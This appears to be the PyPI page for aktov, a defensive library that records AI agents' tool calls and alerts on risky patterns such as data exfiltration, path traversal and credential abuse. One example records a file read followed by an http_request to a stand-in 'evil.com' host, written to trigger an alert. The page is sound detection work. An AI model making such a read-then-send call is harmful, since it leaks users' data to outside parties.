Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

Claude Code

pip install aktov
aktov init claude-code
# Done. Alerts appear in real-time during Claude Code sessions.
# Run `aktov report` to review after a session.

OpenAI Agent SDK

from agents import Agent, Runner
from aktov.integrations.openai_agents import AktovHooks

hooks = AktovHooks(aktov_agent_name="my-agent")
result = await Runner.run(agent, input="...", hooks=hooks)
response = hooks.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

LangChain

from aktov.integrations.langchain import AktovCallback

cb = AktovCallback(aktov_agent_name="my-agent")
agent.invoke("do something", config={"callbacks": [cb]})
response = cb.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

MCP

from aktov.integrations.mcp import wrap

traced = wrap(mcp_client, aktov_agent_name="my-agent")
result = await traced.call_tool("read_file", {"path": "/data/report.csv"})
response = traced.end_trace()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

Manual (any framework)

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="custom")
trace = ak.start_trace()
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Setup

Use aktov init to get framework-specific instructions:

aktov init claude-code      # writes hook config automatically
aktov init openai-agents    # prints code to add
aktov init langchain        # prints code to add
aktov init mcp              # prints code to add
aktov init custom           # prints manual API usage

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

What It Detects

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Plug-and-play: 1-2 lines to integrate with Claude Code, OpenAI Agent SDK, LangChain, MCP
  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • Near-zero latency: hooks just append to memory — evaluation only runs at .end()
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Set up for your framework
aktov init claude-code

# Review Claude Code session alerts
aktov report

# Scan trace files against detection rules (works offline)
aktov scan trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.3.1.tar.gz (51.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.3.1-py3-none-any.whl (51.1 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.3.1.tar.gz.

File metadata

  • Download URL: aktov-0.3.1.tar.gz
  • Upload date:
  • Size: 51.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.1.tar.gz
Algorithm Hash digest
SHA256 3f95ec7da0cfcd285090d3cef31f8978c63e0debaf2d99d1fa39b4fa273ae12b
MD5 d53977201be032fbd25db77fcce84547
BLAKE2b-256 47ed2e2d304345e694beebda81e5f8c748367c911ed438f3a79cf71eb86f2bef

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.1.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.3.1-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.3.1-py3-none-any.whl
  • Upload date:
  • Size: 51.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.3.1-py3-none-any.whl
Algorithm Hash digest
SHA256 079285e17288e7b2a0357493aed9b609c14f32c98c9ee884d361621f64a0ae98
MD5 72f181ed08c4b5d1ce12fbef2de5b9cb
BLAKE2b-256 874fae127db96c71a7e0c9873ed365b426f9b4b625d1238c3b393d114dfbfe54

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.3.1-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page